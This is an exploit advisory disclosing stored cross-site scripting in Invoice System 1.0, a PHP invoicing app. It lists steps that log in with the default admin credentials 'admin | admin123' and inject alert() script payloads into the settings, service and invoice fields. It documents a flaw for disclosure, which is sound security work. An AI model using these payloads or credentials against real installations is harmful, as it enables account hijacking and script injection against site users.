Invoice System 1.0 Cross Site Scripting

`# Exploit Title: Invoice System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)  
# Date: 12 July 2021  
# Exploit Author: Subhadip Nag (mrl0s3r)  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/14858/invoice-system-using-phpoop-free-source-code.html  
# Tested on: Server: XAMPP  
  
  
# Description #  
  
Invoice System 1.0 is vulnerable to 'Multiple 'stored cross site scripting (xss) in the Settings option because of insufficient user supplied data.  
When anyone visits any other option like(Dashboard,Invoice,Category,Service,Product and also Settings option, our payload will respond as well, and when anyone again Login as Admin the payload works the same as well.  
  
# Proof of Concept (PoC) : Exploit #  
  
1) Goto: http://localhost/simple_invoice/admin/login.php  
2) Login: Login as a Admin for given credentials: admin | admin123  
3) Goto: Settings option  
4) In the System Name & Short Name, Enter the payload:  
<script>+-+-1-+-+alert(1)</script>  
5) Click Update  
6) our XSS attack fired and Stored  
7) Wherever we are clicked in any options, noticed that our Payload responding us  
  
8) Goto: http://localhost/simple_invoice/admin/?page=service  
9) Click Create New  
10) In the Name and Description field, enter the payload:  
<<SCRIPT>alert("XSS");//<</SCRIPT>  
11) Our XSS attack Successful  
  
12) Goto: http://localhost/simple_invoice/admin/?page=invoice  
13) Click Create New  
14) In the Customer Name, Unit, Remarks, enter the payload:  
<script>alert(1)</script>  
15) Our XSS attack Successful  
  
  
# PoC image  
1) https://ibb.co/JpYdZ4F  
2) https://ibb.co/brm00dF  
3) https://ibb.co/3crYLSZ  
4) https://ibb.co/N9m6fy0  
5) https://ibb.co/HGNSJDN  
6) https://ibb.co/7tyFY1P  
7) https://ibb.co/gZ0BvjB  
8) https://ibb.co/2S9J6Xn  
`